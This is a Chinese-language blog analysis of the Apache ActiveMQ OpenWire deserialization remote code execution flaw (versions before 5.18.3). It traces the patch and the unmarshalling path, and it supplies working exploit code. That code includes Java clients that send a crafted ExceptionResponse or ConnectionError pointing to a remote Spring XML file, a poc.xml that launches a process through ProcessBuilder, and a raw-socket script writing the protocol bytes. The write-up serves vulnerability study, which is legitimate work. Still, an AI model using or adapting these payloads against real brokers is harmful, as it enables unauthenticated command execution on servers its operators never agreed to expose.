ActiveMQ

纯小白只能跟在大哥们的走o(╥﹏╥)o

主要看大哥的,感谢大哥Nivia,640,ycx

https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

Apache ActiveMQ (版本 < 5.18.3) RCE 分析

环境搭建

java 1.8 331

activemq 5.15.15ActiveMQ (apache.org)

idea远程调试

分析

跟在大哥,首先看历史提交吧

https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f

https://github.com/apache/activemq/blob/1d0a6d647e468334132161942c1442eed7708ad2/activemq-openwire-legacy/src/main/java/org/apache/activemq/openwire/v4/ExceptionResponseMarshaller.java

发现多了一个类,其实也就都用了一个方法

image-20231107224923275

在org.apache.activemq.openwire.v1.BaseDataStreamMarshaller 中createThrowable方法用了此类

1
2
3
4
5
6
7
8
9
10
11
12
13
...
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());

OpenWireUtil.validateIsThrowable(clazz);

Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
}

catch (IllegalArgumentException e) {
return e;
}

看看这个类中这个方法在哪里调用了

发现在v1这个包里只有

tightUnmarsalThrowable / looseUnmarsalThrowable调用了说明子类并没有重写这个方法,应该还是会通过这2个方法来调用createthrow

全局搜搜哪里用了这个2方法发现v1包里只有2个类

一个是ExceptionResponseMarshaller另一个是ConnectionErrorMarshaller

ExceptionResponseMarshaller 顾名思义就是对 ExceptionResponse 进行序列化/反序列化的类

ExceptionResponse 的定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.apache.activemq.command;

public class ExceptionResponse extends Response {
public static final byte DATA_STRUCTURE_TYPE = 31;
Throwable exception;

public ExceptionResponse() {
}

public ExceptionResponse(Throwable e) {
this.setException(e);
}

public byte getDataStructureType() {
return 31;
}

public Throwable getException() {
return this.exception;
}

public void setException(Throwable exception) {
this.exception = exception;
}

public boolean isException() {
return true;
}
}

ExceptionResponseMarshaller

其对应的tightUnmarshallooseUnmarshal方法会调用对应的throwable

这里看tightUnmarshal方法

1
info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));

先跟进tightUnmarsalThrowable

1
2
3
4
if (bs.readBoolean()) {
String clazz = tightUnmarshalString(dataIn, bs);
String message = tightUnmarshalString(dataIn, bs);
Throwable o = createThrowable(clazz, message);

这里传入的BooleanStream bs是一个存储bool值的数组,

这里会获取传入类的class和message信息,然后获取这个类有一个string参数的构造器再实例化,emmm这个一个类的string,正好对应之前学postgresql的利用类

org.springframework.context.support.ClassPathXmlApplicationContext

然后看大哥的…这里是读序列化的信息,现在是看怎么序列化的了吧

找到对应的tightMarshalThrowable

image-20231108113351511

o 就是 ExceptionResponse 里面的 exception 字段 (继承了 Throwable), 然后分别将 o 的 className 和 message 写入序列化流

我们只需要构造一个 ExceptionResponse 然后发给 ActiveMQ 服务器, 之后 ActiveMQ 会自己调用 unmarshal, 最后触发 createThrowable

看大哥的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class Demo {
public static void main(String[] args) throws Exception {

ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession();
Destination destination = session.createQueue("tempQueue");

MessageProducer producer = session.createProducer(destination);
Message message = session.createObjectMessage("123");
producer.send(message);

connection.close();
}
}

然后随便打几个断点试试 (注意在一次通信的过程中 ActiveMQ 会 marshal / unmarshal 一些其它的数据, 调试的时候记得判断)

调试进入org.apache.activemq.transport.tcp.TcpTransport#readCommand

1
2
3
protected Object readCommand() throws IOException {
return wireFormat.unmarshal(dataIn);
}

继续跟进org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image-20231108143642342

看到根据读取的头不同,取不同的dsm,

这个 dataType 其实对应的就是 Message 类内部的 DATA_STRUCTURE_TYPE 字段

在 demo 中我们发送的是一个 ObjectMessage (ActiveMQObjectMessage) 对象, 它的 dataType 是 26

获取到了对应的序列化器之后, 会调用它的 tightUnmarshal / looseUnmarshal 方法进一步处理 Message 内容,而这里tightUnmarshal 默认是false所以会调用looseUnmarshal

我一开始的思路是去修改 ObjectMessage 的 DATA_STRUCTURE_TYPE 字段, 把它改成 31 然后发送

后来想了一会发现不能这么搞, 因为对于不同的 Message 类型, 序列化器会单独进行处理, 比如调用 writeXXX 和 readXXX 的类型和次数都不一样

因为 ExceptionResponseMarshaller 也有 marshal 方法, 所以思路就改成了如何去发送一个经由这个 marshaller 处理的 ExceptionResponse

image-20231108150305526

TcpTransport 这个类它的 oneway 方法会调用 wireFormat.marshal() 去序列化 command

在当前源码目录下新建一个 org.apache.activemq.transport.tcp.TcpTransport 类, 然后重写对应的逻辑, 这样在运行的时候, 因为 classpath 查找顺序的问题, 程序就会优先使用当前源码目录里的 TcpTransport 类

然后是 createThrowable 方法的利用, 这块其实跟 PostgreSQL JDBC 的利用类似, 因为 ActiveMQ 自带 spring 相关依赖, 那么就可以利用 ClassPathXmlApplicationContext 加载 XML 实现 RCE

1
2
3
4
5
6
7
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}

因为在 marshal 的时候会调用 o.getClass().getName() 获取类名, 而 getClass 方法无法重写 (final), 所以我在这里同样 patch 了 org.springframework.context.support.ClassPathXmlApplicationContext, 使其继承 Throwable 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
private String message;

public ClassPathXmlApplicationContext(String message) {
this.message = message;
}

@Override
public String getMessage() {
return message;
}
}

poc.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

思考

先看看怎么直接传入一个ExceptionResponse类,在github上发现payload

1
2
3
4
5
6
7
8
9
10
11
12
13
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://localhost:61616");

Connection connection = connectionFactory.createConnection();
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
ExceptionResponse exceptionResponse = new ExceptionResponse();

exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));

session.syncSendPacket(exceptionResponse);

connection.close();

跟进这个syncSendPacket

1
2
3
public Response syncSendPacket(Command command) throws JMSException {
return connection.syncSendPacket(command);
}

最终会调用到

1
2
3
4
5
6
7
8
9
10
    public Response syncSendPacket(Command command, int timeout) throws JMSException {
if (isClosed()) {
throw new ConnectionClosedException();
} else {

try {
Response response = (Response)(timeout > 0
? this.transport.request(command, timeout)
: this.transport.request(command));
...

会进去request,

1
2
3
public Object request(Object command) throws IOException {
FutureResponse response = asyncRequest(command, null);
return response.getResult();

然后发现会调用一次序列化,然后再getResult服务端又进行反序列

看完大哥了就看看,之前提到的ConnectionErrorMarshaller可不可以用

发现其实都差不多但是ConnectionError是直接父类直接就是BaseCommand而ExceptionResponse父类是Response

把ExceptionResponse换成ConnectionError也会造成命令执行

发现这个cve大哥是直接写协议过去的,我只能说真nb…,看到协议我脑袋都大,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final String BROKER_URL = "tcp://localhost:61616";
private static final Boolean NON_TRANSACTED = false;
private static final long TIMEOUT = 20000;
public static void main(String[] args) throws IOException {
String ip=""; //服务器端ip地址
int port=; //端口号
Socket sck=new Socket(ip,port);
//2.传输内容
DataOutputStream out = null;
DataInputStream in = null;
out = new DataOutputStream(new BufferedOutputStream(new
FileOutputStream("test.txt")));
out.writeInt(32);
out.writeByte(31);
out.writeInt(1);
out.writeBoolean(true);
out.writeInt(1);
out.writeBoolean(true);
out.writeBoolean(true);
out.writeUTF("类");
out.writeBoolean(true);
out.writeUTF("地址");
out.close();
in = new DataInputStream(new BufferedInputStream(new
FileInputStream("test.txt")));
OutputStream os=sck.getOutputStream(); //输出流
int length = in.available();
byte[] buf = new byte[length];
in.readFully(buf);
os.write(buf);
in.close();
sck.close();
}
}

影响版本:

Apache ActiveMQ<5.18.3

Apache ActiveMQ<5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16